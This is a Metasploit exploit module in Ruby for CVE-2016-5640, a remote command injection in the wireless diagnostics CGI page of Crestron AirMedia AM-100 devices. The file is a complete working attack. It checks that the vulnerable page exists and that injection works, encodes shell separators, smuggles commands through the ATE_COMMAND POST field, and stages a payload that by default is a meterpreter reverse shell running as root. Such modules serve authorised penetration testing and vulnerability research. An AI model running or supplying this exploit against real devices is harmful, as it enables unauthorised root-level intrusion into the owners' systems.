crestron_exploit.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Auxiliary::CRand
    include Msf::Exploit::CmdStager
  
    def initialize(info={})
        super(update_info(info,
            'Name'           => "Crestron AirMedia AM-100 Remote Command Injection",
            'Description'    => %q{
                This module exploits a Remote Command Injection vulnerability in the wireless
                diagnostics page for Crestron AirMedia AM-100 devices with a firmware version <1.4.0.13.
                Commands execute as the account running the service (i.e. usually root).
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'Forrest' ],
            'References'     => [
                [ 'CVE', 'CVE-2016-5640'],
                [ 'URL', 'https://github.com/CylanceVulnResearch/disclosures/blob/master/CLVA-2016-05-002.md' ]
            ],
            'Platform'       => 'linux',
            'Arch'           => [ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE],
            'Targets'        => [
                ['armle',  {'Arch' => ARCH_ARMLE}],
                ['x86',    {'Arch' => ARCH_X86}],
                ['x64',    {'Arch' => ARCH_X64}],
                ['mipsle', {'Arch' => ARCH_MIPSLE}]
            ],
            'Privileged'     => false,
            'CmdStagerFlavor' => [ 'printf' ],
            'DefaultOptions' => {
                'SSL'     => true,
                'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
            },
            'Payload'        => {
              'DisableNops' => true,
              'Space'       => 4000
            },
            'DisclosureDate' => "2016-08-01",
            'DefaultTarget'  => 0)
        )
        
        register_options(
            [
                Opt::RPORT(443)
            ], self.class
        )
    end
  
    def filter_bad_chars(cmd)
        cmd.gsub!(/chmod \+x/, 'chmod 777')
        cmd.gsub!(/;/, ' %26%26 ')
        cmd.gsub!(/ /, '+')
    end

    def execute_command(cmd, opts = {})
        begin
            res = send_request_cgi({
                'uri'       => '/cgi-bin/rftest.cgi?lang=en&src=AwServicesSetup.html',
                'method'    => 'POST',
                'ssl'       => true,
                'port'      => rport,
                'data'      => "ATE_COMMAND=#{filter_bad_chars(cmd)}&ATECHANNEL=&ATETXLEN=&ATETXCNT=&ATETXMODE=&ATETXBW=&ATETXGI=&ATETXMCS=&ATETXANT=&ATERXANT=&ATERXFER=&ResetCounter=&ATEAUTOALC=&ATEIPG=&ATEPAYLOAD=&ATE=TXCONT",
                'headers'   => {
                    'ContentType' => 'application/x-www-form-urlencoded'
                }
            })
            
            return res
            
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
            print_error("#{rhost}:#{rport} - HTTP(S) Connection Failed...")
            return
        end
    end
    
    def has_rf_config_page
        print_status("Checking for vulnerable RF Test page...")
        
        begin
            res = send_request_cgi(
                {
                  'uri'     => '/cgi-bin/rftest.cgi?lang=en&src=AwServicesSetup.html',
                  'method'  => 'GET',
                  'ssl'     => true,
                  'port'    => rport
                }
            )
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
            print_error("#{rhost}:#{rport} - HTTP(S) Connection Failed...")
            return false
        end
        
        good_response = (
            res &&
            res.code == 200 &&
            (res.body.include?('oper.ATE_COMMAND.value = "/sbin/iwpriv ra0 set ATE=ATESTART;";') && res.body.include?('oper.submit();'))
        )
        
        if good_response
            print_good("#{rhost}:#{rport} - Found vulnerable RF Test Page...")
            return true
        else
            print_error("#{rhost}:#{rport} - Not running vulnerable RF Test Page...")
            return false
        end
    end
  
    def can_inject_commands
        print_status("Checking for Remote Command Injection...")
        random_length = (random_r % 32) + 64
        verification_string = Rex::Text.rand_text_alphanumeric(random_length)

        res = execute_command("echo #{verification_string}")
        
        good_response = (
            res &&
            res.code == 200 &&
            (res.body.include?(verification_string))
        )
        
        if good_response
            print_good("#{rhost}:#{rport} - Successfully ran remote command...")
            return true
        else
            print_error("#{rhost}:#{rport} - Failed to run remote command...")
            return false
        end
           
    end
    
    def check
        success = has_rf_config_page
        if (success == false)
            return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using the module'
        end
        
        success = can_inject_commands
        if (success == true)
            return CheckCode::Vulnerable
        else
            return CheckCode::Safe # Using 'Safe' here to imply this ver is not exploitable using the module'
        end
    end

  def exploit
    # Main function
    print_status("Exploiting...")
    execute_cmdstager
  end

end